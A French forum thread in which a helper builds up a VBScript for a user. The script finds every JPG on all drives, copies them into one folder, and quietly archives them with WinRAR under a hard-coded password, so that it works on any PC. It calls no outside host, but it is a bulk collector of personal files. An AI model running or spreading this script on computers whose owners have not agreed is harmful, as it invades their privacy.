10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Option Explicit
Dim fso,ws,win,d,bf,dc,racine,ExtensionType,sDrv,sFName,sFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
win=ws.ExpandEnvironmentStrings("%windir%")'dossier windows
Set bf = fso.GetFolder(win)
ExtensionType  = "JPG"
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,win,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	win=ws.ExpandEnvironmentStrings("%windir%")
	Set bf = fso.GetFolder(win)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************

Merci j'ai testé ce code simplifié avec aucune erreur :ccool: mais j'arrive pas a mettre la main sur le dossier créer qui contient tout les ".jpg"

Il se trouve pas dans c:\windows.. ou se trouve t-il?

Encore merci

27/12/2013, 19h04
hackoofr

:salut:
c'est quoi ton système d'exploitation :koi:
27/12/2013, 19h22
zollen777

Citation:

Envoyé par hackoofr

:salut:
c'est quoi ton système d'exploitation :koi:

J'ai Windows vista 32 bits ;)

Le dossier créer se nomme bien JPG ? :roll:

:salut:
Donc vérifier si le UAC est activé ou non car je crois s'il est activé tu n'as pas le droit de créer le dossier JPG dans le dossier windows.
Essaies, alos, de le créer dans le dossier temporaire.

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Option Explicit
Dim fso,ws,temp,d,bf,dc,racine,ExtensionType,sDrv,sFName,sFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
temp=ws.ExpandEnvironmentStrings("%temp%")'dossier temporaire
Set bf = fso.GetFolder(temp)
ExtensionType  = "JPG"
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,temp,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	temp=ws.ExpandEnvironmentStrings("%temp%")
	Set bf = fso.GetFolder(temp)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************

27/12/2013, 20h59
zollen777

Oui t'as raison.. cela fonctionne dans les dossiers temporaires..

Si je peux pas le créer dans c:\Windows a cause de l'UAC, alors est-ce possible de le créer dans le dossier "mes documents" mais qu'il soit portable dans tout les PC (car les noms des chemins absolus sont différents) ?

PS: Mon UAC est activé

:salut:
Sauvegarde dans le dossier "Mes documents"

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Option Explicit
Dim fso,ws,MyDoc,d,bf,dc,racine,ExtensionType,sDrv,sFName,sFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
MyDoc=ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
Set bf = fso.GetFolder(MyDoc)
ExtensionType  = "JPG"
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,MyDoc,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	MyDoc = ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
	Set bf = fso.GetFolder(MyDoc)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************

Citation:

Envoyé par hackoofr

:salut:
Sauvegarde dans le dossier "Mes documents"

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Option Explicit
Dim fso,ws,MyDoc,d,bf,dc,racine,ExtensionType,sDrv,sFName,sFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
MyDoc=ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
Set bf = fso.GetFolder(MyDoc)
ExtensionType  = "JPG"
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,MyDoc,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	MyDoc = ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
	Set bf = fso.GetFolder(MyDoc)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************

Merci beaucoup :ccool: cela fait plaisir de voir des personnes maitrisant un langage informatique qui aident ceux qui débute.. ;)

Fonctionne très bien :D, est-ce que le dossier JPG sera créer dans "Mes Documents" dans tout les PC?

30/12/2013, 00h24
hackoofr

Citation:

Envoyé par zollen777

Est-ce que le dossier JPG sera créer dans "Mes Documents" dans tout les PC?

J’espère que oui :ccool: et c'est à vous maintenant de le tester sur toutes les versions de windows et me confirmer après son résultat, J’espère qu'il sera positif :king:

Citation:

Envoyé par hackoofr

J’espère que oui :ccool: et c'est à vous maintenant de le tester sur toutes les versions de windows et me confirmer après son résultat, J’espère qu'il sera positif :king:

Ok je vais faire le test et je te tient au courant.. :ccool:

J'aimerais que lorsque la recherche des JPG est terminé et complète, au lieu d'avoir un popup disant "recherche terminé" il zip le dossier JPG de sorte que lorsque je verrais le fichier JPG.zip alors je saurais que la recherche est terminé..

Je fais plusieurs tentative pour adapter ce code avec le code précèdent (recherche jpg) mais sans sucées..

Une idée? une piste? :P
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 Const ForReading = 1, ForWriting = 2, ForAppending = 8 Dim Source, Destination, MyHex, MyBinary, i Dim oShell, oApp, oFolder, oCTF, oFile Dim oFileSys Source = "MyDocuments\JPG" Destination = "MyDocuments\JPG.zip" MyHex = _ Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0) For i = 0 To UBound(MyHex) MyBinary = MyBinary & Chr(MyHex(i)) Next Set oShell = CreateObject("WScript.Shell") Set oFileSys = CreateObject("Scripting.FileSystemObject") 'Creation du zip Set oCTF = oFileSys.CreateTextFile(Destination, True) oCTF.Write MyBinary oCTF.Close Set oCTF = Nothing Set oApp = CreateObject("Shell.Application") Set oFolder = oApp.NameSpace(Source) If Not oFolder Is Nothing Then _ oApp.NameSpace(Destination).CopyHere oFolder.Items wScript.Sleep 5000 Set oFile = Nothing On Error Resume Next Do While (oFile Is Nothing) 'Attention: provoque une erreur 70 si un des fichiers à zipper 'est toujours ouvert. Set oFile = oFileSys.OpenTextFile(Destination, ForAppending, False) If Err.Number <> 0 Then Err.Clear wScript.Sleep 3000 End If Loop Set oFile = Nothing Set oFileSys = Nothing

:salut:
A tester :roll: et n'oublies pas mes +1 :plusser: si ça marche chez toi :mouarf:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
Option Explicit
Dim fso,ws,MyDoc,d,bf,dc,racine,ExtensionType
Dim arrResult,sDrv,sFName,sFile,Source,Destination
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
MyDoc=ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
Set bf = fso.GetFolder(MyDoc)
ExtensionType  = "JPG"
Source = MyDoc & "\" & ExtensionType
Destination = MyDoc & "\" & ExtensionType & ".zip"
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
Call Compression(Source,Destination)
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,MyDoc,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	MyDoc = ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
	Set bf = fso.GetFolder(MyDoc)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************
Function Compression(Source,Destination)
	Const ForReading = 1, ForWriting = 2, ForAppending = 8
	Dim MyHex, MyBinary, i
	Dim oShell, oApp, oFolder, oCTF, oFile
	Dim oFileSys
	MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
 
	For i = 0 To UBound(MyHex)
		MyBinary = MyBinary & Chr(MyHex(i))
	Next
 
	Set oShell = CreateObject("WScript.Shell")
	Set oFileSys = CreateObject("Scripting.FileSystemObject")
'Creation du zip 
	Set oCTF = oFileSys.CreateTextFile(Destination, True)
	oCTF.Write MyBinary
	oCTF.Close
	Set oCTF = Nothing
	Set oApp = CreateObject("Shell.Application")
	Set oFolder = oApp.NameSpace(Source)
	If Not oFolder Is Nothing Then _
	oApp.NameSpace(Destination).CopyHere oFolder.Items
	wScript.Sleep 5000
	Set oFile = Nothing
	On Error Resume Next
	Do While (oFile Is Nothing)
'Attention: provoque une erreur 70 si un des fichiers à zipper
'est toujours ouvert.
		Set oFile = oFileSys.OpenTextFile(Destination, ForAppending, False)
		If Err <> 0 Then
			ws.popup Err.Number & vbcr & Err.Description,"2","Erreur",16
			wScript.Sleep 3000
		End If
	Loop
	Set oFile = Nothing
	Set oFileSys = Nothing
End Function

Citation:

Envoyé par hackoofr

:salut:
A tester :roll: et n'oublies pas mes +1 :plusser: si ça marche chez toi :mouarf:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
Option Explicit
Dim fso,ws,MyDoc,d,bf,dc,racine,ExtensionType
Dim arrResult,sDrv,sFName,sFile,Source,Destination
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
MyDoc=ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
Set bf = fso.GetFolder(MyDoc)
ExtensionType  = "JPG"
Source = MyDoc & "\" & ExtensionType
Destination = MyDoc & "\" & ExtensionType & ".zip"
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
Call Compression(Source,Destination)
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,MyDoc,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	MyDoc = ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
	Set bf = fso.GetFolder(MyDoc)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************
Function Compression(Source,Destination)
	Const ForReading = 1, ForWriting = 2, ForAppending = 8
	Dim MyHex, MyBinary, i
	Dim oShell, oApp, oFolder, oCTF, oFile
	Dim oFileSys
	MyHex = Array(80, 75, 5, 6, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0)
 
	For i = 0 To UBound(MyHex)
		MyBinary = MyBinary & Chr(MyHex(i))
	Next
 
	Set oShell = CreateObject("WScript.Shell")
	Set oFileSys = CreateObject("Scripting.FileSystemObject")
'Creation du zip 
	Set oCTF = oFileSys.CreateTextFile(Destination, True)
	oCTF.Write MyBinary
	oCTF.Close
	Set oCTF = Nothing
	Set oApp = CreateObject("Shell.Application")
	Set oFolder = oApp.NameSpace(Source)
	If Not oFolder Is Nothing Then _
	oApp.NameSpace(Destination).CopyHere oFolder.Items
	wScript.Sleep 5000
	Set oFile = Nothing
	On Error Resume Next
	Do While (oFile Is Nothing)
'Attention: provoque une erreur 70 si un des fichiers à zipper
'est toujours ouvert.
		Set oFile = oFileSys.OpenTextFile(Destination, ForAppending, False)
		If Err <> 0 Then
			ws.popup Err.Number & vbcr & Err.Description,"2","Erreur",16
			wScript.Sleep 3000
		End If
	Loop
	Set oFile = Nothing
	Set oFileSys = Nothing
End Function

Bonne année a tous :P

J'ai fais le test sous xp, le dossier JPG est créer dans "Mes Documents" niquel :ccool:

Encore sous xp, la compression fonctionne.. :ccool:

Sous vista, la compression se fait juste avec une petite partie des photos et pour les autres j'ai un popup: "permission refusée 70" mais la compression continue sans avoir a cliqué sur OK.

J'ai essayé sans UAC mais toujours même problème..

Une idée?

01/01/2014, 15h05
hackoofr

:salut: et Bonne année 2014 :lahola:
Effectivement, je l'ai testé sur Windows 7 avec UAC désactivé avant même de le poster ici, et j'ai eu presque la même chose que vous, alors j'ai pensé d'ajouter cette petite gestion d'erreurs avec un message Popup et non pas par un MsgBox pour ne pas interrompre le script et qu'il continue même avec ces petites erreurs de permissions ;)
Ceci est dit, alors qu'en pensez vous d'utiliser une application externe qui compresse les fichiers en ligne de commande (Comme Winrar) et l'intégrer avec ce script au lieu de cette fonction de compression native :roll:
Vous pouvez alors, rechercher dans ce forum s'il y a une fonction qui utilise Winrar en ligne de commande et essayer de l'intégrer avec votre script :king:

:salut:
Voila, tu peux tester cette version qui marche chez moi (Windows 7 32 bits) en utilisant Winrar en ligne de commande ;)
J'ai ajouté cette fonction Compression(Source,Destination,Password).
Elle est très simple à utiliser :mouarf:
Tu as le choix de protéger ton archive par mot de passe, alors, tu l'appelle comme ça :

Code:

Call Compression(Source,Protected_Destination,Password)'L'archive est protégé par un mot de passe

Si tu préfères l'utiliser sans mot de passe, alors, tu l'appelle comme ça :

Code:

Call Compression(Source,Destination,"")'Sans Mot de passe

et le code complet te montre les deux à la fois :king:

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
Option Explicit
Dim fso,ws,MyDoc,d,bf,dc,racine,ExtensionType,Password,Protected_Destination
Dim arrResult,sDrv,sFName,sFile,Source,Destination
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
MyDoc=ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
Set bf = fso.GetFolder(MyDoc)
ExtensionType  = "JPG"
Source = MyDoc & "\" & ExtensionType
Destination = MyDoc & "\" & ExtensionType & ".rar" 'Nom de l'archive normale sans protection par mot de passe
Protected_Destination = MyDoc & "\" & ExtensionType & "_Protected.rar" 'Nom de l'archive protégé par mot de passe
Password = "123456" 'Changer juste cette variable pour choisir un autre mot de passe pour l'archive
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
Call Compression(Source,Destination,"")'Sans Mot de passe
Call Compression(Source,Protected_Destination,Password)'L'archive est protégé par un mot de passe
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,MyDoc,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	MyDoc = ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
	Set bf = fso.GetFolder(MyDoc)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************
Function Compression(Source,Destination,Password)
	Dim oFSO,oShell,aScriptFilename,sScriptFilename
	Dim sWorkingDirectory,ProgramFiles,sWinZipLocation
	Set oFSO = WScript.CreateObject("Scripting.FileSystemObject")
	Set oShell = WScript.CreateObject("Wscript.Shell")
'--------Trouver le répertoire de travail--------
	aScriptFilename = Split(Wscript.ScriptFullName, "\")
	sScriptFilename = aScriptFileName(Ubound(aScriptFilename))
	sWorkingDirectory = Replace(Wscript.ScriptFullName, sScriptFilename, "")
'--------------------------------------
	ProgramFiles = oShell.ExpandEnvironmentStrings("%ProgramFiles%")
'-------S'assurer que nous pouvons trouver WinRAR.exe------
	If oFSO.FileExists(sWorkingDirectory & " " & "Winrar.EXE") Then
		sWinZipLocation = ""
	ElseIf oFSO.FileExists(ProgramFiles &"\Winrar\Winrar.EXE") Then
		sWinZipLocation = ProgramFiles &"\Winrar\"
	Else
		Compression = "Erreur: Impossible de trouver Winrar.EXE"
		MsgBox Compression,16,Compression
		Exit Function
	End If
'--------------------------------------
'La Commande A : Signifie ==> ajouter à une archive
'Le Commutateur -IBCK ==> Signifie : Lancer WinRAR en arrière-plan
	If Password = "" Then
		oShell.Run """" & sWinZipLocation & "winrar.exe"" A -IBCK """ & _
		Destination & """ """ & Source & """",0,True 
	Else
'Le Commutateur -P<mot_de_passe> : Pour utiliser un mot de passe
		oShell.Run """" & sWinZipLocation & "winrar.exe"" A -IBCK -p"&Password&" """ & _
		Destination & """ """ & Source & """",0,True 
	End If
	If oFSO.FileExists(Destination) Then
		Compression = 1
	Else
		Compression = "Erreur : Création d'archives a échoué !"
		MsgBox Compression,16,Compression
	End If
End Function

Que faut il changer pour créer le dossier JPG sur le bureau au lieu dans mes documents ?

Code:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
Option Explicit
Dim fso,ws,MyDoc,d,bf,dc,racine,ExtensionType,sDrv,sFName,sFile
Set fso = CreateObject("Scripting.FileSystemObject")
Set ws = CreateObject("Wscript.Shell")
MyDoc=ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
Set bf = fso.GetFolder(MyDoc)
ExtensionType  = "JPG"
Call CreateFolder(ExtensionType)
Set dc  = fso.Drives
For Each d in dc
	If d.IsReady Then
		racine = d.Driveletter & ":"
		GetResults racine,ExtensionType
	End If
Next
'**********************************************************************************
Sub GetResults(drv,fname)
	On Error Resume Next
	Dim sWQL,oFile,Results
	sWQL     = "select * from cim_datafile where Drive='" & _
	drv & "' AND Extension = '" & fname & "'"
	For Each oFile In GetObject("winmgmts:").execquery(sWQL)
		sFile   = oFile.Name
		CopyFile sFile,ExtensionType
	Next
End Sub
'**********************************************************************************
Sub CreateFolder(name)
	Set fso    = CreateObject("Scripting.FileSystemObject")
	If Not FSO.FolderExists(bf & "\" & name) Then
		bf.subFolders.Add(name)
		Else : Exit Sub
	End If
End Sub
'**********************************************************************************
Function CopyFile(sFile,name)
	Dim  fso,ws,MyDoc,bf
	Set FSO = CreateObject("Scripting.FileSystemObject")
	Set ws = CreateObject("Wscript.Shell")
	MyDoc = ws.SpecialFolders("MyDocuments")'Dossier Mes Documents
	Set bf = fso.GetFolder(MyDoc)
	If FSO.FolderExists(bf & "\" & name) Then
		FSO.GetFile(sFile).Copy bf & "\" & name & "\" & FSO.GetFileName(sFile),True
	Else
		MsgBox "erreur du chemin",16,"erreur du chemin"
	End If
End Function
'**********************************************************************************

Et aussi pourquoi lorsque j’exécute ce code ci-dessus dans certain pc j'ai cette erreur ?

ligne 6
caract 1

Erreur : Argument ou appel de procédure incorrect
Code : 800A0005
sOURCE : Erreur d'exécution Microsoft VBScript

06/01/2014, 23h33
hackoofr

:salut:
Tu remplace le mot ~~MyDocuments~~ par Desktop

Code:

MyDoc=ws.SpecialFolders("MyDocuments")'Dossier Mes Documents

==>

Code:

MyDoc=ws.SpecialFolders("Desktop")'Bureau
07/01/2014, 19h09
zollen777

Citation:

Envoyé par hackoofr

:salut:
Tu remplace le mot ~~MyDocuments~~ par Desktop

Merci :D

Pourquoi lorsque j’exécute ce code ci-dessus dans certain pc j'ai cette erreur ?

ligne 6
caract 1

Erreur : Argument ou appel de procédure incorrect
Code : 800A0005
sOURCE : Erreur d'exécution Microsoft VBScript